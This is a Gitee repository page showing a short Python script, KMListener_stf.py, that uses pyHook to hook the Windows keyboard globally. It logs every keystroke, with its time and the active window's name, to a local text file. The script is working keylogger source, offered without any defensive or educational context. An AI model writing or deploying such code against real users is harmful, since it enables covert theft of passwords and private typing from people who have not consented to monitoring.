1 Star 0 Fork 0

atompi / PyHook-getKeyboard

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
KMListener_stf.py 855 Bytes
一键复制 编辑 原始数据 按行查看 历史
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import pythoncom
import pyHook
import time
def onKeyboardEvent(event):
"处理键盘事件"
fobj.writelines('-' * 20 + 'Keyboard Begin' + '-' * 20 + '\n')
fobj.writelines("按键时间:%s\n" % time.strftime("%a, %d %b %Y %H:%M:%S", time.localtime()))
fobj.writelines("操作窗口:%s\n" % str(event.WindowName))
fobj.writelines("按键:%s\n" % str(event.Key))
fobj.writelines('-' * 20 + 'Keyboard End' + '-' * 20 + '\n')
return True
if __name__ == "__main__":
# 打开日志文件
file_name = "hook_log.txt"
fobj = open(file_name, 'a')
# 创建hook句柄
hm = pyHook.HookManager()
# 监控键盘
hm.KeyDown = onKeyboardEvent
hm.HookKeyboard()
# 循环获取消息
pythoncom.PumpMessages()
# 关闭日志文件
fobj.close()
Python
1
https://gitee.com/atompi/PyHook-getKeyboard.git
git@gitee.com:atompi/PyHook-getKeyboard.git
atompi
PyHook-getKeyboard
PyHook-getKeyboard
master

搜索帮助

53164aa7 5694891 3bd8fe86 5694891